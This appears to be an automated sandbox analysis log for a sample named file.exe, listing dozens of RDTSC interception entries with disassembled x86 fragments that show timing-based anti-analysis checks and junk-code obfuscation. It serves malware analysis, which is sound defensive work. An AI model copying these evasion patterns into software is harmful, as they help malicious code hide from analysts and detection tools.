Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483501 second address: 48351D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09F0F95A18h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48351D second address: 483579 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B458h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov esi, dword ptr [ebp+122D2486h] 0x00000014 push 00000000h 0x00000016 jns 00007F09F0F8B44Ch 0x0000001c mov esi, dword ptr [ebp+122D2262h] 0x00000022 push 00000000h 0x00000024 jl 00007F09F0F8B448h 0x0000002a xchg eax, ebx 0x0000002b jnp 00007F09F0F8B452h 0x00000031 jmp 00007F09F0F8B44Ch 0x00000036 push eax 0x00000037 pushad 0x00000038 push edi 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b pop edi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483579 second address: 48357D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4885B6 second address: 4885C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48869C second address: 4886A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48961A second address: 48961E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48961E second address: 489630 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489630 second address: 489647 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B44Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48881F second address: 488883 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F09F0F95A08h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D36ECh] 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov bx, EDCAh 0x00000036 mov edi, eax 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov di, dx 0x00000042 mov di, E4D1h 0x00000046 mov eax, dword ptr [ebp+122D0BE9h] 0x0000004c mov bx, 9F1Bh 0x00000050 push FFFFFFFFh 0x00000052 or ebx, dword ptr [ebp+122D38E8h] 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c jns 00007F09F0F95A06h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489647 second address: 4896A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add dword ptr [ebp+12477D34h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F09F0F8B448h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D2512h] 0x00000032 push 00000000h 0x00000034 adc ebx, 5E1206C0h 0x0000003a xchg eax, esi 0x0000003b pushad 0x0000003c push eax 0x0000003d push edi 0x0000003e pop edi 0x0000003f pop eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A71C second address: 48A77B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F09F0F95A08h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+1247089Ah] 0x00000029 mov di, A19Fh 0x0000002d push 00000000h 0x0000002f add dword ptr [ebp+12468A0Dh], edi 0x00000035 push 00000000h 0x00000037 mov ebx, 2C1BD1F5h 0x0000003c pushad 0x0000003d mov dx, FAB0h 0x00000041 and ah, FFFFFFA8h 0x00000044 popad 0x00000045 xchg eax, esi 0x00000046 push ecx 0x00000047 jmp 00007F09F0F95A0Ah 0x0000004c pop ecx 0x0000004d push eax 0x0000004e jc 00007F09F0F95A14h 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489828 second address: 4898AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F09F0F8B45Ch 0x00000008 jmp 00007F09F0F8B456h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 jmp 00007F09F0F8B44Ah 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 pushad 0x00000026 movzx edi, di 0x00000029 mov eax, dword ptr [ebp+122D3708h] 0x0000002f popad 0x00000030 mov eax, dword ptr [ebp+122D021Dh] 0x00000036 sub dword ptr [ebp+122D17F3h], esi 0x0000003c jmp 00007F09F0F8B44Ah 0x00000041 push FFFFFFFFh 0x00000043 nop 0x00000044 jmp 00007F09F0F8B44Ah 0x00000049 push eax 0x0000004a pushad 0x0000004b jmp 00007F09F0F8B458h 0x00000050 push ecx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D7A7 second address: 48D828 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F09F0F95A14h 0x0000000e or ebx, dword ptr [ebp+122D210Bh] 0x00000014 push 00000000h 0x00000016 ja 00007F09F0F95A1Ch 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F09F0F95A08h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 jnc 00007F09F0F95A0Ch 0x0000003e sbb bx, 8169h 0x00000043 push eax 0x00000044 pushad 0x00000045 push edx 0x00000046 push ecx 0x00000047 pop ecx 0x00000048 pop edx 0x00000049 ja 00007F09F0F95A0Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E87F second address: 48E898 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F09F0F8B44Ch 0x00000008 jo 00007F09F0F8B446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D9DE second address: 48D9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F8AE second address: 48F8B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F8B4 second address: 48F8D9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F09F0F95A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F09F0F95A13h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F8D9 second address: 48F936 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B450h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov bl, ah 0x0000000d jmp 00007F09F0F8B44Bh 0x00000012 push 00000000h 0x00000014 xor edi, dword ptr [ebp+122D3516h] 0x0000001a push ecx 0x0000001b mov ebx, dword ptr [ebp+122D355Eh] 0x00000021 pop edi 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F09F0F8B448h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e push eax 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49087B second address: 490891 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F09F0F95A0Ch 0x00000008 jg 00007F09F0F95A06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4929CB second address: 4929D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4929D1 second address: 492A3E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movzx ebx, si 0x0000000e push 00000000h 0x00000010 or dword ptr [ebp+122D299Dh], esi 0x00000016 mov dword ptr [ebp+12470E3Eh], eax 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F09F0F95A08h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 jmp 00007F09F0F95A11h 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jmp 00007F09F0F95A11h 0x00000046 jbe 00007F09F0F95A06h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4939AD second address: 4939B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FADF second address: 48FAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F09F0F95A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494B03 second address: 494B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494B08 second address: 494B12 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F09F0F95A0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494C12 second address: 494C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494C17 second address: 494C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 494C1D second address: 494C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496862 second address: 4968C0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F09F0F95A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F09F0F95A0Ch 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F09F0F95A08h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e pushad 0x0000002f jmp 00007F09F0F95A0Ah 0x00000034 mov edx, dword ptr [ebp+122D1E78h] 0x0000003a popad 0x0000003b push 00000000h 0x0000003d mov dword ptr [ebp+122D293Fh], esi 0x00000043 push 00000000h 0x00000045 cmc 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495C22 second address: 495C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F09F0F8B446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49980D second address: 499812 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499812 second address: 49981E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49981E second address: 499834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A0Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AC54 second address: 43AC81 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F09F0F8B44Dh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F09F0F8B458h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43AC81 second address: 43AC85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FDF2 second address: 49FDF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FDF7 second address: 49FE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A13h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FE15 second address: 49FE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FE1B second address: 49FE25 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F09F0F95A06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FF62 second address: 49FF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FF66 second address: 49FF6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FF6A second address: 49FF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FF70 second address: 49FF78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FF78 second address: 49FF7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A27FE second address: 4A281B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F09F0F95A14h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A281B second address: 4A2842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F09F0F8B45Fh 0x0000000b jmp 00007F09F0F8B459h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2842 second address: 4A2851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2851 second address: 4A285E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A285E second address: 4A286A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42D571 second address: 42D577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42D577 second address: 42D590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ecx 0x00000008 pushad 0x00000009 jbe 00007F09F0F95A06h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC718 second address: 4AC739 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F09F0F8B446h 0x00000008 jmp 00007F09F0F8B44Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jnp 00007F09F0F8B446h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABC88 second address: 4ABC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABC8C second address: 4ABC90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABC90 second address: 4ABC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABC96 second address: 4ABC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABC9F second address: 4ABCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F09F0F95A06h 0x0000000a jnp 00007F09F0F95A06h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABE41 second address: 4ABE57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F09F0F8B446h 0x00000010 jc 00007F09F0F8B446h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABE57 second address: 4ABE74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F09F0F95A06h 0x00000010 jmp 00007F09F0F95A0Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC26F second address: 4AC274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC5DE second address: 4AC5E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC5E6 second address: 4AC5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF343 second address: 4AF352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F09F0F95A06h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF352 second address: 4AF36D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B452h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47A692 second address: 47A69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47AE4B second address: 47AE51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B198 second address: 47B1A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F09F0F95A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B269 second address: 464C13 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F09F0F8B446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2A8Fh], ecx 0x00000014 lea eax, dword ptr [ebp+1248BD46h] 0x0000001a add dword ptr [ebp+122D284Eh], ebx 0x00000020 push eax 0x00000021 pushad 0x00000022 jne 00007F09F0F8B448h 0x00000028 jmp 00007F09F0F8B455h 0x0000002d popad 0x0000002e mov dword ptr [esp], eax 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F09F0F8B448h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b pushad 0x0000004c mov edi, ecx 0x0000004e popad 0x0000004f call dword ptr [ebp+122D1F7Dh] 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 push ebx 0x00000059 pop ebx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464C13 second address: 464C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2B68 second address: 4B2B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F09F0F8B453h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F09F0F8B44Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2B91 second address: 4B2B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2B97 second address: 4B2BA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F09F0F8B446h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2BA9 second address: 4B2BAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2BAD second address: 4B2BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F09F0F8B446h 0x0000000e rdtsc
